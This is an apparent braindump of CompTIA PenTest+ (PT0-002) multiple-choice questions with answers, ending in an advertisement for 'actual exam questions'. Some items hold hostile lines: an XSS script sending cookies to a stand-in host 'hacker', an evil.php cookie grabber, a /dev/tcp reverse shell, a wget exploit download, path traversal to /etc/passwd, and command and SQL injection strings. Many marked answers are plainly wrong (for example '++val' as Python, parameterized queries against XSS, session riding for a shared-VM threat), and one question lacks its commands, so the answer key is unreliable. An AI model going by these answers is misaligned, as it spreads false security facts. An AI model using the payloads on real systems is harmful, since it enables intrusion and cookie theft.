



# CompTIA

## Exam Questions PT0-002

CompTIA PenTest+ Certification Exam

#### NEW QUESTION 1

A company that developers embedded software for the automobile industry has hired a penetration-testing team to evaluate the security of its products prior to delivery. The penetration-testing team has stated its intent to subcontract to a reverse-engineering team capable of analyzing binaries to develop proof-of-concept exploits. The software company has requested additional background investigations on the reverse-engineering team prior to approval of the subcontract. Which of the following concerns would BEST support the software company's request?

- A. The reverse-engineering team may have a history of selling exploits to third parties.
- B. The reverse-engineering team may use closed-source or other non-public information feeds for its analysis.
- C. The reverse-engineering team may not instill safety protocols sufficient for the automobile industry.
- D. The reverse-engineering team will be given access to source code for analysis.

**Answer: A**

#### NEW QUESTION 2

A penetration tester obtained the following results after scanning a web server using the dirb utility:

```
...
GENERATED WORDS: 4612
---
Scanning URL: http://10.2.10.13/ ---
+
http://10.2.10.13/about (CODE:200|SIZE:1520)
+
http://10.2.10.13/home.html (CODE:200|SIZE:214)
+
http://10.2.10.13/index.html (CODE:200|SIZE:214)
+
http://10.2.10.13/info (CODE:200|SIZE:214)
...
```

DOWNLOADED: 4612 – FOUND: 4

Which of the following elements is MOST likely to contain useful information for the penetration tester?

- A. index.html
- B. about
- C. info
- D. home.html

**Answer: B**

#### NEW QUESTION 3

Which of the following expressions in Python increase a variable val by one (Choose two.)

- A. val++
- B. +val
- C. val=(val+1)
- D. ++val
- E. val=val++
- F. val+=1

**Answer: DF**

#### NEW QUESTION 4

A penetration tester is testing input validation on a search form that was discovered on a website. Which of the following characters is the BEST option to test the website for vulnerabilities?

- A. Comma
- B. Double dash
- C. Single quote
- D. Semicolon

**Answer: C**

#### NEW QUESTION 5

You are a penetration tester running port scans on a server. INSTRUCTIONS

Part 1: Given the output, construct the command that was used to generate this output from the available options.

Part 2: Once the command is appropriately constructed, use the given output to identify the potential attack vectors that should be investigated further.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

- A. Mastered
- B. Not Mastered

**Answer:** A

**Explanation:**

Part 1 - nmap 192.168.2.2 -sV -O  
Part 2 - Weak SMB file permissions

**NEW QUESTION 6**

A client has requested that the penetration test scan include the following UDP services: SNMP, NetBIOS, and DNS. Which of the following Nmap commands will perform the scan?

- A. nmap -vv sUV -p 53, 123-159 10.10.1.20/24 -oA udpscan
- B. nmap -vv sUV -p 53,123,161-162 10.10.1.20/24 -oA udpscan
- C. nmap -vv sUV -p 53,137-139,161-162 10.10.1.20/24 -oA udpscan
- D. nmap -vv sUV -p 53, 122-123, 160-161 10.10.1.20/24 -oA udpscan

**Answer:** B

**NEW QUESTION 7**

Which of the following is the MOST common vulnerability associated with IoT devices that are directly connected to the Internet?

- A. Unsupported operating systems
- B. Susceptibility to DDoS attacks
- C. Inability to network
- D. The existence of default passwords

**Answer:** A

**NEW QUESTION 8**

A penetration tester is attempting to discover live hosts on a subnet quickly. Which of the following commands will perform a ping scan?

- A. nmap -sn 10.12.1.0/24
- B. nmap -sV -A 10.12.1.0/24
- C. nmap -Pn 10.12.1.0/24
- D. nmap -sT -p- 10.12.1.0/24

**Answer:** A

**NEW QUESTION 9**

The results of an Nmap scan are as follows:

Starting Nmap 7.80 ( <https://nmap.org> ) at 2021-01-24 01:10 EST Nmap scan report for ( 10.2.1.22 )

Host is up (0.0102s latency). Not shown: 998 filtered ports Port State Service

80/tcp open http

|\_http-title: 80F 22% RH 1009.1MB (text/html)

|\_http-slowloris-check:

| VULNERABLE:

| Slowloris DoS Attack

| <..>

Device type: bridge|general purpose

Running (JUST GUESSING) : QEMU (95%)

OS CPE: cpe:/a:qemu:qemu

No exact OS matches found for host (test conditions non-ideal).

OS detection performed. Please report any incorrect results at <https://nmap.org/submit/>. Nmap done: 1 IP address (1 host up) scanned in 107.45 seconds

Which of the following device types will MOST likely have a similar response? (Choose two.)

- A. Network device
- B. Public-facing web server
- C. Active Directory domain controller
- D. IoT/embedded device
- E. Exposed RDP
- F. Print queue

**Answer:** AB

**NEW QUESTION 10**

A penetration tester is looking for a vulnerability that enables attackers to open doors via a specialized TCP service that is used for a physical access control system. The service exists on more than 100 different hosts, so the tester would like to automate the assessment. Identification requires the penetration tester to:

Have a full TCP connection

Send a "hello" payload

Wait for a response

Send a string of characters longer than 16 bytes

Which of the following approaches would BEST support the objective?

- A. Run nmap -Pn -sV --script vuln <IP address>.
- B. Employ an OpenVAS simple scan against the TCP port of the host.
- C. Create a script in the Lua language and use it with NSE.

D. Perform a credentialed scan with Nessus.

**Answer: C**

#### NEW QUESTION 10

A penetration tester runs a scan against a server and obtains the following output: 21/tcp open ftp Microsoft ftpd

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

| 03-12-20 09:23AM 331 index.aspx

| ftp-syst:

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2012 Std 3389/tcp open ssl/ms-wbt-server

| rdp-ntlm-info:

| Target Name: WEB3

| NetBIOS\_Computer\_Name: WEB3

| Product\_Version: 6.3.9600

|\_ System\_Time: 2021-01-15T11:32:06+00:00

8443/tcp open http Microsoft IIS httpd 8.5

| http-methods:

|\_ Potentially risky methods: TRACE

|\_ http-server-header: Microsoft-IIS/8.5

|\_ http-title: IIS Windows Server

Which of the following command sequences should the penetration tester try NEXT?

A. ftp 192.168.53.23

B. smbclient \\\\WEB3\\IPC\$ -I 192.168.53.23 -U guest

C. ncrack -u Administrator -P 15worst\_passwords.txt -p rdp 192.168.53.23

D. curl -X TRACE https://192.168.53.23:8443/index.aspx

E. nmap --script vuln -sV 192.168.53.23

**Answer: A**

#### NEW QUESTION 14

An Nmap scan shows open ports on web servers and databases. A penetration tester decides to run WPScan and SQLmap to identify vulnerabilities and additional information about those systems.

Which of the following is the penetration tester trying to accomplish?

A. Uncover potential criminal activity based on the evidence gathered.

B. Identity all the vulnerabilities in the environment.

C. Limit invasiveness based on scope.

D. Maintain confidentiality of the findings.

**Answer: C**

#### NEW QUESTION 18

A penetration tester who is doing a security assessment discovers that a critical vulnerability is being actively exploited by cybercriminals. Which of the following should the tester do NEXT?

A. Reach out to the primary point of contact

B. Try to take down the attackers

C. Call law enforcement officials immediately

D. Collect the proper evidence and add to the final report

**Answer: A**

#### NEW QUESTION 21

A penetration tester is able to capture the NTLM challenge-response traffic between a client and a server. Which of the following can be done with the pcap to gain access to the server?

A. Perform vertical privilege escalation.

B. Replay the captured traffic to the server to recreate the session.

C. Use John the Ripper to crack the password.

D. Utilize a pass-the-hash attack.

**Answer: D**

#### NEW QUESTION 26

A security company has been contracted to perform a scoped insider-threat assessment to try to gain access to the human resources server that houses PII and salary data. The penetration testers have been given an internal network starting position.

Which of the following actions, if performed, would be ethical within the scope of the assessment?

A. Exploiting a configuration weakness in the SQL database

B. Intercepting outbound TLS traffic

C. Gaining access to hosts by injecting malware into the enterprise-wide update server

D. Leveraging a vulnerability on the internal CA to issue fraudulent client certificates

E. Establishing and maintaining persistence on the domain controller

**Answer: B**

#### NEW QUESTION 27

You are a security analyst tasked with hardening a web server.

You have been given a list of HTTP payloads that were flagged as malicious. INSTRUCTIONS

Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

- A. Mastered
- B. Not Mastered

**Answer:** A

#### Explanation:

- \* 1. Reflected XSS - Input sanitization (<> ...)
- \* 2. Sql Injection Stacked - Parameterized Queries
- \* 3. DOM XSS - Input Sanitization (<> ...)
- \* 4. Local File Inclusion - sandbox req
- \* 5. Command Injection - sandbox req
- \* 6. SQLi union - paramtrized queries
- \* 7. SQLi error - paramtrized queries
- \* 8. Remote File Inclusion - sandbox
- \* 9. Command Injection - input sanit \$
- \* 10. URL redirect - prevent external calls

#### NEW QUESTION 30

Given the following code:

```
<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT>
```

Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)

- A. Web-application firewall
- B. Parameterized queries
- C. Output encoding
- D. Session tokens
- E. Input validation
- F. Base64 encoding

**Answer:** BE

#### NEW QUESTION 31

A penetration tester has been hired to perform a physical penetration test to gain access to a secure room within a client's building. Exterior reconnaissance identifies two entrances, a WiFi guest network, and multiple security cameras connected to the Internet.

Which of the following tools or techniques would BEST support additional reconnaissance?

- A. Wardriving
- B. Shodan
- C. Recon-ng
- D. Aircrack-ng

**Answer:** C

#### NEW QUESTION 33

When preparing for an engagement with an enterprise organization, which of the following is one of the MOST important items to develop fully prior to beginning the penetration testing activities?

- A. Clarify the statement of work.
- B. Obtain an asset inventory from the client.
- C. Interview all stakeholders.
- D. Identify all third parties involved.

**Answer:** A

#### NEW QUESTION 37

A penetration tester ran the following commands on a Windows server:

Which of the following should the tester do AFTER delivering the final report?

- A. Delete the scheduled batch job.
- B. Close the reverse shell connection.
- C. Downgrade the svaccount permissions.
- D. Remove the tester-created credentials.

**Answer: D**

#### NEW QUESTION 38

A penetration tester is working on a scoping document with a new client. The methodology the client uses includes the following:

- Pre-engagement interaction (scoping and ROE)
  - Intelligence gathering (reconnaissance)
  - Threat modeling
  - Vulnerability analysis
  - Exploitation and post exploitation
  - Reporting
- Which of the following methodologies does the client use?

- A. OWASP Web Security Testing Guide
- B. PTES technical guidelines
- C. NIST SP 800-115
- D. OSSTMM

**Answer: B**

#### NEW QUESTION 42

A tester who is performing a penetration test on a website receives the following output:

Warning: mysql\_fetch\_array() expects parameter 1 to be resource, boolean given in /var/www/search.php on line 62

Which of the following commands can be used to further attack the website?

- A. `<script>var adr= './evil.php?test=' + escape(document.cookie);</script>`
- B. `../../../../../../../../etc/passwd`
- C. `/var/www/html/index.php;whoami`
- D. `1 UNION SELECT 1, DATABASE(),3-`

**Answer: C**

#### NEW QUESTION 44

Given the following output: User-agent:\*

Disallow: /author/ Disallow: /xmlrpc.php Disallow: /wp-admin Disallow: /page/

During which of the following activities was this output MOST likely obtained?

- A. Website scraping
- B. Website cloning
- C. Domain enumeration
- D. URL enumeration

**Answer: A**

#### NEW QUESTION 47

A company is concerned that its cloud service provider is not adequately protecting the VMs housing its software development. The VMs are housed in a datacenter with other companies sharing physical resources. Which of the following attack types is MOST concerning to the company?

- A. Data flooding
- B. Session riding
- C. Cybersquatting
- D. Side channel

**Answer: B**

#### NEW QUESTION 49

A penetration tester recently performed a social-engineering attack in which the tester found an employee of the target company at a local coffee shop and over time built a relationship with the employee. On the employee's birthday, the tester gave the employee an external hard drive as a gift. Which of the following social-engineering attacks was the tester utilizing?

- A. Phishing
- B. Tailgating
- C. Baiting
- D. Shoulder surfing

**Answer: C**

#### NEW QUESTION 52

A penetration tester has identified several newly released CVEs on a VoIP call manager. The scanning tool the tester used determined the possible presence of the CVEs based off the version number of the service. Which of the following methods would BEST support validation of the possible findings?

- A. Manually check the version number of the VoIP service against the CVE release
- B. Test with proof-of-concept code from an exploit database
- C. Review SIP traffic from an on-path position to look for indicators of compromise
- D. Utilize an nmap -sV scan against the service

**Answer: D**

#### NEW QUESTION 56

When developing a shell script intended for interpretation in Bash, the interpreter /bin/bash should be explicitly specified. Which of the following character combinations should be used on the first line of the script to accomplish this goal?

- A. <#
- B. <\$
- C. ##
- D. #
- E. #!

**Answer: E**

#### NEW QUESTION 60

A company's Chief Executive Officer has created a secondary home office and is concerned that the WiFi service being used is vulnerable to an attack. A penetration tester is hired to test the security of the WiFi's router. Which of the following is MOST vulnerable to a brute-force attack?

- A. WPS
- B. WPA2-EAP
- C. WPA-TKIP
- D. WPA2-PSK

**Answer: A**

#### NEW QUESTION 65

A company is concerned that its cloud VM is vulnerable to a cyberattack and proprietary data may be stolen. A penetration tester determines a vulnerability does exist and exploits the vulnerability by adding a fake VM instance to the IaaS component of the client's VM. Which of the following cloud attacks did the penetration tester MOST likely implement?

- A. Direct-to-origin
- B. Cross-site scripting
- C. Malware injection
- D. Credential harvesting

**Answer: A**

#### NEW QUESTION 70

A penetration tester discovers during a recent test that an employee in the accounting department has been making changes to a payment system and redirecting money into a personal bank account. The penetration test was immediately stopped. Which of the following would be the BEST recommendation to prevent this type of activity in the future?

- A. Enforce mandatory employee vacations
- B. Implement multifactor authentication
- C. Install video surveillance equipment in the office
- D. Encrypt passwords for bank account information

**Answer: B**

#### NEW QUESTION 72

An Nmap network scan has found five open ports with identified services. Which of the following tools should a penetration tester use NEXT to determine if any vulnerabilities with associated exploits exist on the open ports?

- A. OpenVAS
- B. Drozer
- C. Burp Suite
- D. OWASP ZAP

**Answer: A**

#### NEW QUESTION 74

A penetration tester ran the following command on a staging server:

```
python -m SimpleHTTPServer 9891
```

Which of the following commands could be used to download a file named exploit to a target machine for execution?

- A. nc 10.10.51.50 9891 < exploit

- B. powershell -exec bypass -f \\10.10.51.50\9891
- C. bash -i >& /dev/tcp/10.10.51.50/9891 0&1>/exploit
- D. wget 10.10.51.50:9891/exploit

**Answer: D**

#### **NEW QUESTION 77**

Which of the following types of information should be included when writing the remediation section of a penetration test report to be viewed by the systems administrator and technical staff?

- A. A quick description of the vulnerability and a high-level control to fix it
- B. Information regarding the business impact if compromised
- C. The executive summary and information regarding the testing company
- D. The rules of engagement from the assessment

**Answer: B**

#### **NEW QUESTION 80**

An assessment has been completed, and all reports and evidence have been turned over to the client. Which of the following should be done NEXT to ensure the confidentiality of the client's information?

- A. Follow the established data retention and destruction process
- B. Report any findings to regulatory oversight groups
- C. Publish the findings after the client reviews the report
- D. Encrypt and store any client information for future analysis

**Answer: D**

#### **NEW QUESTION 82**

.....

## Thank You for Trying Our Product

### We offer two products:

1st - We have Practice Tests Software with Actual Exam Questions

2nd - Questions and Answers in PDF Format

### PT0-002 Practice Exam Features:

- \* PT0-002 Questions and Answers Updated Frequently
- \* PT0-002 Practice Questions Verified by Expert Senior Certified Staff
- \* PT0-002 Most Realistic Questions that Guarantee you a Pass on Your First Try
- \* PT0-002 Practice Test Questions in Multiple Choice Formats and Updates for 1 Year

**100% Actual & Verified — Instant Download, Please Click**  
[Order The PT0-002 Practice Test Here](#)